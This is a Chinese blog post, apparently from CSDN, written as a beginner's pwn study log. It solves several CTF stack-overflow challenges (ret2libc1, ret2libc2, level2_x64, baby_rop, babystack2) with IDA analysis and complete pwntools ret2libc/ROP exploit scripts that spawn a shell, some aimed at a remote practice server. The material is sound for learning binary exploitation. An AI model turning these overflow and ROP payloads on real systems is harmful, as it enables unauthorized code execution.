Pwn学习 (3)

1. ret2libc1

checksec,没开启canary和地址随机化,只有NX 

IDA Pro 静态调试

 

明显的栈溢出漏洞

 

 输入一个字符串,如果这个字符串与secretcode(随机值)一样,则调用system函数

但是system内的不是熟悉的/bin/sh,而是shell!?,相当于在Terminal中输入

因此需要给shell!?覆盖为/bin/sh

gdb动态编译获取需要输入的字符数量

 

 

system地址

  

/bin/sh地址 

Payload

system_addr = 0x08048460
binsh_addr = 0x08048720
b'A' * ( 108 +  0x04 ) + p32(system_addr) + p32(binsh_addr)

 构造PoC

from pwn import *
io = process("/root/Desktop/Pwn/ret2libc1")

system_addr = 0x08048460
binsh_addr = 0x08048720
payload = ( b'A' * ( 108 + 0x04 ) + p32(system_addr) + b'A' * 4 + p32(binsh_addr) )
io.sendline(payload)
io.interactive()

 成功获取shell

2. ret2libc2 

checksec

IDA Pro 静态调试

 

 

依旧没有/bin/sh,但是这一次Shift+F12里也没有

依旧是栈溢出漏洞

 

 

 

 可以将/bin/sh写入.bss段中,因为未开启PIE,并且bss可执行。

思路如下:

先覆写到ebp的位置,然后gets 输入system的地址,最后在输入/bin/sh

在栈中应该是这样的

 

 

system地址

 

gets地址

得出Payload

system_addr = 0x08048490
gets_addr = 0x08048460
buf2 = 0x0804A080
payload = ( b'A' * ( 108 + 0x04 ) + p32(gets_addr) + p32(system_addr) + p32(buf2) + p32(buf2) )

 构造PoC

from pwn import *
io = process("/root/Desktop/Pwn/ret2libc2")

system_addr = 0x08048490
gets_addr = 0x08048460
buf2 = 0x0804A080
payload = ( b'A' * ( 108 + 0x04 ) + p32(gets_addr) + p32(system_addr) + p32(buf2) + p32(buf2) )
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

 

成功获取shell

3. ret2libc3 

看了半天没看懂,不写了

4. jarvisoj_level2_x64

checksec

 

没开canary也没开PIE,IDA Pro静态调试

 

 

栈溢出漏洞,需要填充 128 + 0x08 个字符

有system和/bin/sh

Payload

system函数地址:

/bin/sh地址:

from pwn import *

io = process("/root/Desktop/Pwn/level2_x64")

binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr = 0x4006b3
payload = ( b'A' * ( 128 + 0x08 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) )
io.sendline(payload)
io.interactive()

 

此外还需要一个pop_rdi,大佬们的说法是平衡栈帧

构造PoC

from pwn import *

io = process("/root/Desktop/Pwn/level2_x64")

binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi_addr = 0x4006b3
payload = ( b'A' * ( 128 + 0x08 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) )
io.sendline(payload)
io.interactive()

 成功获取shell并cat flag.txt

 5. [HarekazeCTF2019]baby_rop

checksec

 

IDA下甚至和之前的level2没什么区别,level2的PoC改一改就能用了

还是 sys , binsh , pop_rdi

就不过多赘述了

构造PoC

from pwn import *

io = remote("node4.buuoj.cn",28127)

binsh_addr = 0x601048
system_addr = 0x400490
pop_rdi_addr = 0x400683
payload = ( b'A' * ( 0x10 + 0x08 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) )
io.sendline(payload)
io.interactive()

成功获取shell,不过随时都会关闭,这题的flag存在/home/babyrop的flag中。

6. bjdctf_2020_babystack2

和1一模一样的解法,答案都丝毫不相差。

Pwn学习 (2)_Red-Leaves的博客-CSDN博客

from pwn import *

io = remote("node4.buuoj.cn",25615)
#io = process("/root/Desktop/Pwn/bjdctf_2020_babystack2")

binsh_addr = 0x400726
#system_addr = 0x400490
#pop_rdi_addr = 0x400893
io.recvuntil(b"your name:")
io.sendline('-1')
payload = ( b'A' * ( 0x10 + 0x08 ) + p64(binsh_addr) )
io.recvuntil(b"name?")
io.sendline(payload)
io.interactive()

 

成功拿到flag,不过可能有网络波动或者什么问题偶尔断开一下,多试几次就好了。 

研究研究 ret2libc3 再看看后续的题,发现后续的题目都是需要这个的。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值